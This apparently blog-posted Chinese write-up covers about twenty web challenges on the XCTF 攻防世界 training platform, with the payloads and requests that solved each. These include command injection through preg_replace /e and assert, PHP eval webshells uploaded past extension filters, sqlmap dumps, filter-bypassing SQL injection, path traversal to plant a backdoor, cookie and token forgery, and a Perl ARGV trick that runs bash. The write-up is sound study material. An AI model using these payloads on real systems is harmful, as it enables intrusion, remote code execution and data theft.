攻防世界web高手區writeup

Cat    django報錯

ctrl+u查看源碼,發現input name=url

?url=%79 發現有url轉換,轉換成w,在輸入=%80(ascii碼錶第%80不存在)報錯

Django使用的是gbk編碼,超過%F7的編碼不在gbk中有意義

當 CURLOPT_SAFE_UPLOAD 爲 true 時,如果在請求前面加上@的話phpcurl組件是會把後面的當作絕對路徑請求,來讀取文件。當且僅當文件中存在中文字符的時候,Django 纔會報錯導致獲取文件內容。

進行fuzz後,發現字符超過0x7F的ASCII都會引發Django的報錯。在url中輸入?url=%88,可以得到報錯頁面

從報錯信息中看出使用的是python站點 使用的是Django框架

所以根據Django的目錄,我們使用@進行文件傳遞,對文件進行讀取之後還會把內容傳給url參數,如果像上面一樣有超出解析範圍的編碼的時候就會得到錯誤信息。

我們的目標首先是數據庫文件,看從錯誤信息中能不能拿到flag,可以從配置文件settings.py的報錯中看看有沒有database的相關信息

?url=@/opt/api/api/settings.py

報錯內容搜索database可以得到數據庫地址

?url=@/opt/api/database.sqlite3

報錯信息中搜索ctf,拿到WHCTF{yoooo_Such_A_G00D_@}

http://111.198.29.45:33792/index.php?url=@/opt/api/database.sqlite3

 

ics-05    文件包含和preg_replace /e漏洞

文件包含漏洞讀取

http://111.198.29.45:34414/index.php?page=php://filter/read=convert.base64-encode/resource=index.php

內容base64解碼成源代碼,代碼審計發現preg_replace函數引發的命令執行漏洞

bs發包

GET /index.php?pat=/test/e&rep=phpinfo();&sub=test HTTP/1.1

Host: 111.198.29.45:34414

User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0

X-Forwarded-For:127.0.0.1

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Cookie: PHPSESSID=4noecvecn50vqvdqlundcbet90

Connection: close

phpinfo();執行成功

替換phpinfo()函數,直到找到flag.php

system("cd+s3chahahaDir/flag+%26%26+cat+flag.php");

%26爲&

看返回raw

$flag = 'cyberpeace{1805db55dbbff05b067a70861cd0fb42}';

 

ics-06    id爆破

發現報表中心有id可以爆破,直接使用burp爆破

返回器查看得到

cyberpeace{2a35ede1a7e583eaf28f9382f9b9de10}

 

 

NewsCenter  sql注入

bs抓包保存爲1.txt

cmd運行

python sqlmap.py -r 1.txt --dump --batch

拿到flag QCTF{sq1_inJec7ion_ezzz}

 

 

Mfw  .git泄露、php語句閉合

御劍掃後臺發現.git

cmd啓動githack

Z:\D\tools\網站後臺掃描\GitHack-master>python GitHack.py http://111.198.29.45:53849/.git

拿到index.php代碼審計

assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

assert("file_exists('$file')") or die("That file doesn't exist!");

即構造$file  閉合整個

assert() 檢查一個斷言是否爲 FALSE

strpos() 函數查找字符串在另一字符串中第一次出現的位置。如果沒有找到則返回False

file_exists() 函數檢查文件或目錄是否存在。

assert()函數會將括號中的字符當成代碼來執行,並返回true或false。

payload:?page=abc') or system("cat templates/flag.php");//

 

$file =templates/ abc') or system("cat templates/flag.php");// ".php"

因爲在strpos中只傳入了abc,所以其肯定返回false,在利用or讓其執行system函數,再用" // "將後面的語句註釋掉

或者

payload:

http://111.198.29.45:53849/?page=?about.php', '123') === false and system('cat templates/flag.php') and strpos('templates/flag

http://111.198.29.45:53849/?page=','') or print_r(file_get_contents('templates/flag.php'));//

http://111.198.29.45:53849/?page=' and show_source('templates/flag.php') and '

查看網頁源碼:

cyberpeace{ee8d36db521cd93b4bf02a71a69fdfc3}

 

 

NaNNaNNaNNaN-Batman js代碼(eval函數、splice函數) 正則

下載文件,解壓後,添加.html後綴名

sublime打開發現亂碼,分析後,把eval函數改爲alert保存

用瀏覽器打開文件,彈出還原後的源碼

function $(){

var e=document.getElementById("c").value;

if(e.length==16)

   if(e.match(/^be0f23/)!=null)

      if(e.match(/233ac/)!=null)

         if(e.match(/e98aa$/)!=null)

             if(e.match(/c7be9/)!=null){

             var t=["fl","s_a","i","e}"];

             var n=["a","_h0l","n"];

             var r=["g{","e","_0"];

             var i=["it'","_","n"];

             var s=[t,n,r,i];

             for(var o=0;o<13;++o){

             document.write(s[o%4][0]);s[o%4].splice(0,1)}

             }

}

document.write('<input id="c"><button οnclick=$()>Ok</button>');

delete _

又要分析上面的代碼了…

我們的終極目標是打印出document.write(s[o%4][0]);s[o%4].splice(0,1)}

因此我們要滿足關鍵變量e的條件

 

e.length==16

e.match(/^be0f23/)!=null

e.match(/233ac/)!=null

e.match(/e98aa$/)!=null

e.match(/c7be9/)!=null

這裏又用到了正則表達式

^表示開頭一定要匹配到be0f23,$表示結尾一定要匹配到e98aa,其它的只要匹配到就好,沒有位置要求

於是我們構造e的值

 

e=be0f233ac7be98aa

將上面的核心代碼後綴改爲html格式,打開如下圖所示

在這裏插入圖片描述

框中輸入e的值be0f233ac7be98aa,點擊Ok

得到flag:

flag{it’s_a_h0le_in_0ne}

 

PHP2  .phps   urldecode/urlencode

御劍掃描得到.phps鏈接看源代碼

分析代碼:

第一步,要使得"admin"===$_GET[id]不成立

第二步,經過$_GET[id] = urldecode($_GET[id]);,使得$_GET[id] == "admin"成立。

故有構建id=admin

admin兩次url加密

http://111.198.29.45:33826/?id=%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65

顯示flag

Key: cyberpeace{dc61e88126565c531f469af0cd667160}

 

 

Unserialize3   序列化 wakeup函數

在code裏面輸入序列化的xctf,但是有__wakeup(),要繞過__wakeup,

當成員屬性數目大於實際數目時可繞過wakeup方法(CVE-2016-7124)

序列化後的值爲

O:4:"xctf":1:{s:4:"flag";s:3:"111";}

變爲O:4:"xctf":2:{s:4:"flag";s:3:"111";}可繞過

payload:

?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}

得到flag

cyberpeace{4bad14fc662d8d27a30ec215b4b4bef4}

 

 

Triangle  js逆向

構造最後的exp:

function reverseEnc(argarray){

  var test = 0;

  var output = new Array();

 

  for(var i = 0 ; i < argarray.length ; i++){

    var x = argarray[i];

    if(test == 1){

      var sub = (i & 3);

      x = x - sub;     

    }

    x = x - 6;

    test = (argarray[i] & 1);

    output[i] = x;

  }

  return output;

}

htos(reverseEnc(findReqR6()))

得到 flag 爲 :

flag:{MPmVH94PTH7hhafgYahYaVfKJNLRNQLZ}

 

wtf.sh-150  路徑穿越 cookie欺騙 代碼審計

首先構造路徑穿越:http://111.198.29.45:44615/post.wtf?post=../

出現源碼泄露,並且發現了對應的登錄賬號爲admin時才能get出flag

<html>

<head>

    <link rel="stylesheet" type="text/css" href="/css/std.css" >

</head>

$ if contains 'user' ${!URL_PARAMS[@]} && file_exists "users/${URL_PARAMS['user']}"

$ then

$   local username=$(head -n 1 users/${URL_PARAMS['user']});

$   echo "<h3>${username}'s posts:</h3>";

$   echo "<ol>";

$   get_users_posts "${username}" | while read -r post; do

$       post_slug=$(awk -F/ '{print $2 "#" $3}' <<< "${post}");

$       echo "<li><a href=\"/post.wtf?post=${post_slug}\">$(nth_line 2 "${post}" | htmlentities)</a></li>";

$   done

$   echo "</ol>";

$   if is_logged_in && [[ "${COOKIES['USERNAME']}" = 'admin' ]] && [[ ${username} = 'admin' ]]

$   then

$       get_flag1

$   fi

$ fi

源碼泄露發現有user子目錄:http://111.198.29.45:44615/post.wtf?post=../users/  發現admin賬號

同時發現token值是存儲在user目錄中的,所以能夠進行token僞造

點擊進入admin的post請求中發現

Posted by admin

ae475a820a6b5ade1d2e8b427b59d53d15f1f715

uYpiNNf/X0/0xNfqmsuoKFEtRlQDwNbS2T6LdHDRWH5p3x4bL4sxN0RMg17KJhAmTMyr8Sem++fldP0scW7g3w==

修改參數進行cookies

Cookie: PHPSESSID=fa85cb4d56447f39cac00ef800350635; USERNAME=admin; TOKEN=uYpiNNf/X0/0xNfqmsuoKFEtRlQDwNbS2T6LdHDRWH5p3x4bL4sxN0RMg17KJhAmTMyr8Sem++fldP0scW7g3w==

僞造成功發現部分flag:

Flag: xctf{cb49256d1ab48803

至此前半部分的flag爲:xctf{cb49256d1ab48803

 

繼續在源碼中找解析 wtf 文件的代碼

max_page_include_depth=64

page_include_depth=0

function include_page {

    # include_page pathname

    local pathname=$1

    local cmd=

    [[ ${pathname(-4)} = '.wtf' ]];

    local can_execute=$;

    page_include_depth=$(($page_include_depth+1))

    if [[ $page_include_depth -lt $max_page_include_depth ]]

    then

        local line;

        while read -r line; do

            # check if we're in a script line or not ($ at the beginning implies script line)

            # also, our extension needs to be .wtf

            [[ $ = ${line01} && ${can_execute} = 0 ]];

            is_script=$;

            # execute the line.

            if [[ $is_script = 0 ]]

            then

                cmd+=$'n'${line#$};

            else

                if [[ -n $cmd ]]

                then

                    eval $cmd  log Error during execution of ${cmd};

                    cmd=

                fi

                echo $line

            fi

        done  ${pathname}

    else

        echo pMax include depth exceeded!p

    fi

}

能夠解析並執行 wtf 文件,如果還能夠上傳 wtf 文件並執行的話,就可以達到控制服務器的目的。

於是繼續審計代碼,發現如下代碼給了這個機會:

function reply {

    local post_id=$1;

    local username=$2;

    local text=$3;

    local hashed=$(hash_username "${username}");

    curr_id=$(for d in posts/${post_id}/*; do basename $d; done | sort -n | tail -n 1);

    next_reply_id=$(awk '{print $1+1}' <<< "${curr_id}");

    next_file=(posts/${post_id}/${next_reply_id});

    echo "${username}" > "${next_file}";

    echo "RE: $(nth_line 2 < "posts/${post_id}/1")" >> "${next_file}";

    echo "${text}" >> "${next_file}";

    # add post this is in reply to to posts cache

    echo "${post_id}/${next_reply_id}" >> "users_lookup/${hashed}/posts";

}

這是評論功能的後臺代碼,這部分也是存在路徑穿越的。

我們可以使用戶名爲一段可執行代碼,並且寫入文件格式爲wtf,就可以執行這段代碼

先正常的回覆一下,然後抓包進行修改,上傳後門m.wtf,注意一點,m.wtf後面要加%09,表示製表符,否在會被當做目錄去解析:

GET /reply.wtf?post=../m.wtf%09 HTTP/1.1

放包訪問:

成功寫入,接下來需要註冊名稱包含可執行代碼的用戶:

再註冊一個:

重複上述步驟,訪問m.wtf:

http://111.198.29.45:44615/m.wtf

得到第二段flag

149e5ec49d3c29ca}

合起來flag是

xctf{cb49256d1ab48803149e5ec49d3c29ca}

 

Lottery  .git泄露、php源碼審計、弱類型利用

御劍掃描目錄,發現robots.txt裏有提示.git泄露:

python GitHack.py http://111.198.29.45:37089/.git/

 提取.git泄露的源碼,得到許多文件,分析應該是買到手之後就能拿到flag,如果是這個flag就在.git裏,那就好辦了,嘗試配合grep命令在這些文件中查找flag,並沒有結果,要想有錢買flag,首頁就給我們提供了一個方法:

 買彩票猜數就行了,但是怎麼能猜對?這就要審計一下代碼,找找漏洞了。

經過一番審計,猜數字對應的函數在api.php中

 我們要繞過這個$win_numbers,$win_numbers我們是無法控制的,畢竟函數在人家服務器上運行,我們只能輸入數字,那麼就只能在輸入上做文章了,89行判斷相等的數字個數時,用的是==,這不就是個弱類型漏洞嗎,bool類型的true是可以和任何數據弱類型相等的,於是輸入,抓包改包來刷錢:

{"action":"buy","numbers":{"0":true,"1":true,"2":true,"3":true,"4":true,"5":true,"6":true}}

刷錢夠之後去買flag即可:

cyberpeace{b35f41a882e2d703f9a0d12066e19c97}

 

 

Training-WWW-Robots  robots.txt

御劍掃描發現http://111.198.29.45:45025/robots.txt

打開裏面有

User-agent: *

Disallow: /fl0g.php

 

User-agent: Yandex

Disallow: *

訪問:http://111.198.29.45:45025//fl0g.php得到flag

cyberpeace{ecb2ba36b52b4b091e0cbf0a89b1884d}

 

Bug  密碼修改漏洞、X-Forwarded-For、上傳漏洞

首先打開場景發現是一個登錄頁面,而且有註冊界面,而且還有修改密碼的選項,首先註冊號賬號後查看是否登陸進去能找到漏洞,未果。

打開修改密碼界面,嘗試是否有邏輯漏洞,果然,將admin賬號的密碼成功修改爲harry。

抓包修改密碼的界面並且將賬號修改成admin,成功將admin的密碼修改爲admin

使用admin登錄,進入管理界面顯示IP不匹配。

請求頭加入X-Forwarded-For: 127.0.0.1進行ip僞造成功

源碼中發現

構造對應的網址http://111.198.29.45:39871/index.php?module=filemanage&do=upload

上傳對應的文件,抓包,上傳png文件然後將文件後綴改爲.php5內容改爲

<script language="php">system('ls');</script>

構造php文件,上傳之後flag出現

you have get points,here is the flag:cyberpeace{79492194eff699fc97e87537b3ef6360}最終的flag爲:

cyberpeace{79492194eff699fc97e87537b3ef6360}

 

Upload 文件名sql注入 

註冊一個賬號並登錄後,上傳一張圖片,可以看到圖片名會顯示在頁面上,猜測到文件名可能存在注入漏洞,上傳一張名爲select和from的圖片,發現文件名被過濾,將select改爲selselectect可成功繞過。

構造payload

查詢數據庫:

sql '+(selselectect CONV(substr(hex(dAtaBase()),1,12),16,10))+'.jpg

返回:

sql 131277325825392 => web_up

sql '+(selselectect CONV(substr(hex(dAtaBase()),13,12),16,10))+'.jpg

返回:

sql 1819238756 => load

拼接起來得知數據庫名爲:web_upload

然後查表:

sql '+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromom information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit 1,1)),1,12),16,10))+'.jpg

返回:

sql 114784820031327 => hello_

sql '+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromom information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit 1,1)),13,12),16,10))+'.jpg

返回:

sql 112615676665705 => flag_i

sql '+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromom information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit 1,1)),25,12),16,10))+'.jpg

返回:

sql 126853610566245 => s_here

拼接起來得知存放flag的表名爲: hello_flag_is_here

然後查這個表裏有什麼字段:

sql '+(seleselectct+CONV(substr(hex((seselectlect COLUMN_NAME frfromom information_schema.COLUMNS where TABLE_NAME = 'hello_flag_is_here' limit 0,1)),1,12),16,10))+'.jpg

返回:

sql 115858377367398 => i_am_f

sql '+(seleselectct+CONV(substr(hex((seselectlect COLUMN_NAME frfromom information_schema.COLUMNS where TABLE_NAME = 'hello_flag_is_here' limit 0,1)),13,12),16,10))+'.jpg

返回:

sql 7102823=> lag

拼接起來得知存放flag的字段是:i_am_flag

然後查詢flag:

sql '+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),1,12),16,10))+'.jpg

返回:

sql 36427215695199 => !!_@m_

sql '+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),13,12),16,10))+'.jpg

返回:

sql 92806431727430=> Th.e_F

sql '+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),25,12),16,10))+'.jpg

返回:

sql 560750951=> !lag

拼起來之後得到flag: !!_@m_Th.e_F!lag

最終的flag爲:!!_@m_Th.e_F!lag

 

FlatScience  SQL注入,sha1函數密碼碰撞

御劍掃描:

進站後點擊鏈接嘗試會讓下載pdf文件。(後面要用到pdf文件)

訪問robots.txt:

 再依次對這兩個頁面進行測試:

admin.php無論如何輸入都沒有什麼反饋

login.php在username中輸入admin' union select database()時報錯:

可以看到是sqlite數據庫,表的結構和查詢函數和MySQL有所不同。

在這裏花了相當長的時間注入,database()在sqlite裏面是沒有的,未果,最後發現源碼

 url改爲login.php?debug,出現了php源碼

 sql查詢可以輕鬆閉合,但是這裏並沒有要給flag的意思,bp抓包再對username進行注入,看響應頭有沒有給出信息:

構造usr=' union select name,sql from sqlite_master--+&pw=

爲什麼要查詢sql呢,這涉及到sqlite自帶的結構表sqlite_master,sql是sqlite_master中的一個字段,注入時經常用到的,注入後響應頭的set-cookie:

 set-cookie也就是:

CREATE TABLE Users(

id int primary key,

name varchar(255),

password varchar(255),

hint varchar(255)

)

這就出現了表名和表中的字段了,仍然在usr處用limit進行移位並查詢:

usr=%27 UNION SELECT id, id from Users limit 0,1--+&pw=chybeta 

usr=%27 UNION SELECT id, name from Users limit 0,1--+&pw=chybeta

usr=%27 UNION SELECT id, password from Users limit 0,1--+&pw=chybeta

usr=%27 UNION SELECT id, hint from Users limit 0,1--+&pw=chybeta

得到數據:

admin        3fab54a50e770d830c0416df817567662a9dc85c     +my+fav+word+in+my+fav+paper?!

fritze       54eae8935c90f467427f05e4ece82cf569f89507     +my+love+isâ¦?

hansi        34b0bb7c304949f9ff2fc101eef0f048be10d3bd     +the+password+is+password

上面的源碼中的查詢語句的password就是對密碼+salt進行了sha1,我們登陸的話應該需要利用sha1函數和salt找出密碼,admin的hint是 +my+fav+word+in+my+fav+paper?!,那會不會密碼藏在pdf文件中呢?

爬取站點中所有的pdf文件,總共30個,然後用腳本進行解析處理,並用sha1函數與加密的密碼進行碰撞已找出正確的密碼,拿大佬的腳本:

from cStringIO import StringIO

from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter

from pdfminer.converter import TextConverter

from pdfminer.layout import LAParams

from pdfminer.pdfpage import PDFPage

import sys

import string

import os

import hashlib

 

def get_pdf():

return [i for i in os.listdir("./") if i.endswith("pdf")]

 

def convert_pdf_2_text(path):

    rsrcmgr = PDFResourceManager()

    retstr = StringIO()

    device = TextConverter(rsrcmgr, retstr, codec='utf-8', laparams=LAParams())

    interpreter = PDFPageInterpreter(rsrcmgr, device)

    with open(path, 'rb') as fp:

        for page in PDFPage.get_pages(fp, set()):

            interpreter.process_page(page)

        text = retstr.getvalue()

    device.close()

    retstr.close()

    return text

 

def find_password():

pdf_path = get_pdf()

for i in pdf_path:

print "Searching word in " + i

pdf_text = convert_pdf_2_text(i).split(" ")

for word in pdf_text:

sha1_password = hashlib.sha1(word+"Salz!").hexdigest()

if sha1_password == '3fab54a50e770d830c0416df817567662a9dc85c':

print "Find the password :" + word

exit()

 

if __name__ == "__main__":

find_password()

跑出admin的密碼爲:ThinJerboa

在admin.php界面用admin登錄得到flag:

flag{Th3_Fl4t_Earth_Prof_i$_n0T_so_Smart_huh?}

 

 

web2 rot13、stttev()函數、base64、算法加解密

打開發現源碼

<?php

$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";

 

function encode($str){

    $_o=strrev($str);

    // echo $_o;

        

    for($_0=0;$_0<strlen($_o);$_0++){

       

        $_c=substr($_o,$_0,1);

        $__=ord($_c)+1;

        $_c=chr($__);

        $_=$_.$_c;   

    } 

    return str_rot13(strrev(base64_encode($_)));

}

 

highlight_file(__FILE__);

/*

   逆向加密算法,解密$miwen就是flag

*/

?>

解密:

source:a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws

 

rot13解密python腳本:

def rot13(crypt_str):

    # coding:utf-8

 

    import string

 

    def decoder(crypt_str, shift):

        crypt_list = list(crypt_str)

        plain_str = ""

        num = int(shift)

        for ch in crypt_list:

            ch = ord(ch)

            if ord('a') <= ch and ch <= ord('z'):

                ch = ch + num

                if ch > ord('z'):

                    ch -= 26

            if ord('A') <= ch and ch <= ord('Z'):

                ch = ch + num

                if ch > ord('Z'):

                    ch -= 26

            a = chr(ch)

            plain_str += a

 

        print(plain_str)

    shift = 13

    decoder(crypt_str, shift)

 

rot13("a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws")

解密出 : n1mYotDfPRFRVdEYjhDNlZjYld2Y5IjOkdTN3EDNlhzM0gzZiFTZ2MjO4gjf

 

stttev解密編寫php

<?php

echo strrev("n1mYotDfPRFRVdEYjhDNlZjYld2Y5IjOkdTN3EDNlhzM0gzZiFTZ2MjO4gjf");

?>

解密出 : fjg4OjM2ZTFiZzg0MzhlNDE3NTdkOjI5Y2dlYjZlNDhjYEdVRFRPfDtoYm1n

 

繼續base64 解密出: ~88:36e1bg8438e41757d:29cgeb6e48c`GUDTO|;hbmg

 

對編碼進行逆向操作,這裏使用python語言:

# coding:utf-8

"""

#源碼

for($_0=0;$_0<strlen($_o);$_0++){

       

        $_c=substr($_o,$_0,1);   # 每次取一個字符,就是對應的遍歷的字符i

        $__=ord($_c)+1;   # 轉化爲對應的10進制數

        $_c=chr($__);   # 10進制轉換爲ASCII碼

        $_=$_.$_c;    # 累加$_c

    }

"""

#解密

def reverse(strings):

    now = ''

    for i in range(len(strings)):

        temp = strings[i]

        temp_ord = ord(temp) - 1

        temp_chr = chr(temp_ord)

        now += temp_chr

    ans = now[::-1]

    return ans

 

if __name__ == '__main__':

    string = "~88:36e1bg8438e41757d:29cgeb6e48c`GUDTO|;hbmg"

    print(reverse(string))

 

最終答案爲:

flag:{NSCTF_b73d5adfb819c64603d7237fa0d52977}

 

 

upload1  上傳漏洞、菜刀利用

上傳發現有js驗證只能上傳jpg文件

上傳一句話木馬<?php @eval($_POST[cmd]);?>

後綴改成jpg文件上傳,bs抓包改回php

上傳成功返回了文件地址

http://111.198.29.45:57315/upload/1571297368.yijuhua.php

用菜刀連接返回上級目錄找到了flag.php文件

打開就是最終的flag

cyberpeace{2319511f41000241501e2a08dafff33b}

 

 

ics-04  sql注入、重複註冊

提示註冊登錄功能有漏洞

有三個可以訪問的功能,註冊、登錄和找回密碼

註冊功能:沒有sql注入,一個賬號可以重複註冊漏洞

登錄功能:沒有sql注入,一個賬號不同密碼能夠登錄

找回密碼功能:存在sql注入,payload:

 

python sqlmap.py -u "http://111.198.29.45:47407/findpwd.php" --data="username=1" -D cetc004 -T user -C "username,password" --dump

 

得到賬號:c3tlwDmIn23,密碼:2f8667f381ff50ced6a3edc259260ba9

+-------------+----------------------------------+

| username    | password                         |

+-------------+----------------------------------+

| c3tlwDmIn23 | 2f8667f381ff50ced6a3edc259260ba9 |

+-------------+----------------------------------+

利用重複註冊賬號漏洞,註冊賬號c3tlwDmIn23,密碼123456,登錄成功,取得flag

cyberpeace{236a9b85ba097b2527d653075b8491dd}

或者用python腳本登錄查看flag

import requests

url = 'http://111.198.29.45:47407/login.php'

username = 'c3tlwDmIn23'

password = '123456'

payloads = {'username':username, 'password':password}

r = requests.post(url, data = payloads)

print (r.content)

獲取到的flag:

cyberpeace{236a9b85ba097b2527d653075b8491dd}

 

ics-07  代碼審計、菜刀利用

御劍掃描出後臺有index.php

訪問:http://111.198.29.45:46109/index.php

看到view-source

看一下源碼

 

<?php

     if ($_SESSION['admin']) {

       $con = $_POST['con'];

       $file = $_POST['file'];

       $filename = "backup/".$file;

 

       if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){

          die("Bad file extension");

       }else{

            chdir('uploaded');

           $f = fopen($filename, 'w');

           fwrite($f, $con);

           fclose($f);

       }

     }

     ?>

 

   <?php

      if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {

        include 'config.php';

        $id = mysql_real_escape_string($_GET[id]);

        $sql="select * from cetc007.user where id='$id'";

        $result = mysql_query($sql);

        $result = mysql_fetch_object($result);

      } else {

        $result = False;

        die();

      }

   

      if(!$result)die("<br >something wae wrong ! <br>");

      if($result){

        echo "id: ".$result->id."</br>";

        echo "name:".$result->user."</br>";

        $_SESSION['admin'] = True;

      }

     ?>

先看這一段

 <?php

          if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {

            include 'config.php';

            $id = mysql_real_escape_string($_GET[id]);

            $sql="select * from cetc007.user where id='$id'";

            $result = mysql_query($sql);

            $result = mysql_fetch_object($result);

          } else {

            $result = False;

            die();

          }

       

          if(!$result)die("<br >something wae wrong ! <br>");

          if($result){

            echo "id: ".$result->id."</br>";

            echo "name:".$result->user."</br>";

            $_SESSION['admin'] = True;

          }

         ?>

我們只需要繞過isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9'

拿到 $_SESSION[‘admin’] = True;

構造payload:?id=1–9&submit&page=flag.php

成功

 

接下來看下一關

 

<?php

     if ($_SESSION['admin']) {

       $con = $_POST['con'];

       $file = $_POST['file'];

       $filename = "backup/".$file;  //假目錄

 

       if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){

          die("Bad file extension");

       }else{

            chdir('uploaded'); //更改目錄

           $f = fopen($filename, 'w');

           fwrite($f, $con);

           fclose($f);

       }

     }

     ?>

這裏需要注意 $filename = "backup/".$file;這一句

backup/ 是個假目錄

chdir('uploaded');這裏改了目錄

有用的是這個目錄

這裏的正則沒看懂

看了大佬的wp

說這個是隻過濾了最後一個"."後面的東西。

 

可以使用…/filename/.來過濾

 

現在嘗試寫個東西進去

con是文件內容

file是文件名

使用POST傳參

 con=<?php @eval($_POST['cmd']);?>&file=../a.php/.

 一句話木馬

然後菜刀連接

http://111.198.29.45:46109/uploaded/a.php

查看flag.php

cyberpeace{48d17e27374bddf0269b9797360041f4}

 

 

i-got-id-200  perl腳本審計

點擊Files,這裏會把上傳的文件的內容在下方輸出,猜測後臺邏輯:

use strict;

use warnings;

use CGI;

my $cgi= CGI->new;

if ( $cgi->upload( 'file' ) ) {

my $file= $cgi->param( 'file' );

 while ( <$file> ) { print "$_"; }

 

param()函數會返回一個列表的文件但是隻有第一個文件會被放入到下面的file變量中。如果我們傳入一個ARGV的文件,那麼Perl會將傳入的參數作爲文件名讀出來。對正常的上傳文件進行修改,可以達到讀取任意文件的目的:

bs抓包改

POST /cgi-bin/file.pl?/bin/bash%20-c%20ls${IFS}/| HTTP/1.1

 

-----------------------------300042687413059

Content-Disposition: form-data; name="file";

Content-Type: image/jpeg

 

ARGV

-----------------------------300042687413059

Content-Disposition: form-data; name="file"; filename="a.jpg"

Content-Type: image/jpeg

返回文件列表

最後讀取flag改

POST /cgi-bin/file.pl?/bin/bash%20-c%20cat${IFS}/flag| HTTP/1.1

或者

POST /cgi-bin/file.pl?/flag HTTP/1.1

顯示flag

cyberpeace{9f3e824c73251df8d36ca9a33072756b}

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章